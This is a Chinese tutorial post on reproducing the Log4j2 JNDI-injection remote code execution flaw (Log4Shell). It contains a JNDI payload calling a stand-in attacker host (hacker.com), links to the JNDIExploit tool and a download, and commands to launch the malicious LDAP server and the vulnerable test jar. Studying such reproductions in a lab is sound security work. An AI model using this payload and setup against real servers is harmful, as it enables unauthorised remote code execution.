Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息.
大多数情况下,开发人员可能会将用户输入导致的错误信息写入日志。攻击者可以利用该特性通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。
这个漏洞的利用可以分为这样的流程:- 编写恶意代码
- 开启服务器 Web 服务
- 将恶意代码编译并挂起到 Web 服务上
- 构造恶意 payload ( ${jndi:ldap://hacker.com/Exploit} , JDNI 注入),请求服务器
- 服务器解析恶意 payload ,远程执行了攻击者服务器上的恶意代码
jdk要求小于1.8.191(这个复现环境是通过 LDAP 协议漏洞)
不会java的搭建环境快速通道:
首先你可以去百度网盘或者github下载所需要的jar包来更方便快捷的开起jndi:
https://github.com/feihong-cs/JNDIExploit
https://pan.baidu.com/s/1lxXt-27-i7I_dOUACphVtQ 提取码: nkc5
下载完成后在poc目录下cmd输入命令打开jndi(注意不要关闭该cmd):
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i ip地址
在idea中打开java文件添加IP地址,编译生成class文件。
之后使用构建工件生成一个out文件夹,将项目编译为jar:
在out文件夹下的jar目录cmd运行代码:
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar Log4j-rce.jar
视频教学地址:
https://www.bilibili.com/video/BV1iL4y1H7ax/
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)